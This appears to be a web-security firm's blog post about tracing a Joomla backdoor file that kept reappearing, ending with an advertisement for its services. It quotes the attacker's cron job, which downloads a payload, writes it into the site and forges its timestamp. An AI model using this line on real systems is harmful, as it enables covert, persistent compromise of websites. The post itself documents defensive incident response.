For the past month (yes, month!) we have been working on the security of a major website that suffered from a substantial hack. We were able to mostly secure the website, but still, there was a leak somewhere and we didn’t know where.
The “leak” consisted of a malicious file called client.php that was created out of nowhere under the libraries/joomla/client folder. The name of the file was treacherous, and so was its creation date. The name client.php inferred that it’s a benign file, and the date of the file was set to be April, 5th, 2010 (4.5 years ago). So, how did we find out that it was malicious? Well, by scanning the Joomla site with a custom script that checks each file for malicious code.
The first time we deleted the file we thought that it’ll go away, forever (because we secured the site). The second time we thought that it was a compromised SFTP account on the server, but the third time, we started having doubts on whether we really cleaned the site or not.
We did everything to prevent the file from being created, but it was still being created, and not a single log anywhere on the server told us how the file was created. We spent weeks examining Apache logs, FTP logs, and other server logs, but we couldn’t find the root cause of the problem. Eventually, we became so frustrated that we created a mechanism that will block the web execution of any PHP file on the Joomla website with the exception of the index.php file located under the root directory of the website, and the index.php located under the administrator directory. We did that through .htaccess files, either by denying all access to specific directories (such as the libraries and the includes directories), or by denying access to php files for those directories that have some files that must be read by the web browser (such as the images, the media, and the templates directories). We thought by doing that we will block the execution of the client.php file, and we were right, but our strategy did not block the re-creation of the file every few days.
For the first time, we were inclined to accept the situation as something that we can’t do anything about (after all, the file was harmless after the security work that we did) but deep down inside we knew we couldn’t. Not only because we don’t like to lose to hackers, but because we felt that if a malicious user was able to upload a file without us knowing how, then it won’t be hard for him to modify an existing Joomla file and actually hack the website.
This morning, however, everything changed to the better. Around 2 AM in the morning while migrating a Joomla website for that very same client, we noticed that the file was re-created. Immediately, we issued a stat command on the file while in the Linux shell:
stat /home/[userid]/public_html/libraries/joomla/client/client.php
File: '/home/[userid]/public_html/libraries/joomla/client/client.php'
Size: 42982 Blocks: 88 IO Block: 4096 regular file
Device: 808h/2056d Inode: 24051713 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 503/[userid]) Gid: ( 503/[userid])
Access: 2014-11-12 02:30:52.000000000 -0500
Modify: 2010-04-05 21:00:00.000000000 -0400
Change: 2014-11-11 23:00:02.000000000 -0500
Of course, the modify date is certain to be fake, but the other dates, Change and Access, seemed to be genuine. So, we checked the logs during the specific Access and Change times, thinking that we will immediately find the cause of this issue. Unfortunately, we were disappointed for the 100th time – however, a lightning bolt struck us (well, not literally, although it’s possible for this to happen in Montreal) and we checked the cron jobs for the affected website (in cPanel), and here’s what we found:
0 23 * * 0,2 rm -f $TMP_DIR/w.gz ; wget -q -O $TMP_DIR/w.gz $DOWNLOAD_URL && gunzip -c $TMP_DIR/w.gz > $TMP_DIR/w.txt && cp -f $TMP_DIR/w.txt $LOCAL_FILE_PATH && touch -c -t 201004052100 $LOCAL_FILE_PATH && rm -f $TMP_DIR/w.gz
Aha and double Aha! There was a cron job that was using a file under the /var/tmp directory on the server to create the malicious file every Sunday and Tuesday evening. Immediately, we deleted the cron job and we removed the malicious files from the /var/tmp directory (of course, we also removed the client.php file).
It was an extremely stressful experience but we emerged victorious (albeit very, very tired)!
If your Joomla website is continuously hacked, then take a quick look at your cron jobs, maybe the problem is there. If you’re not a technical person, then please contact us and we’ll be very glad to help. Our prices are affordable, our work is professional, and we are, by far, the friendliest programmers on this planet!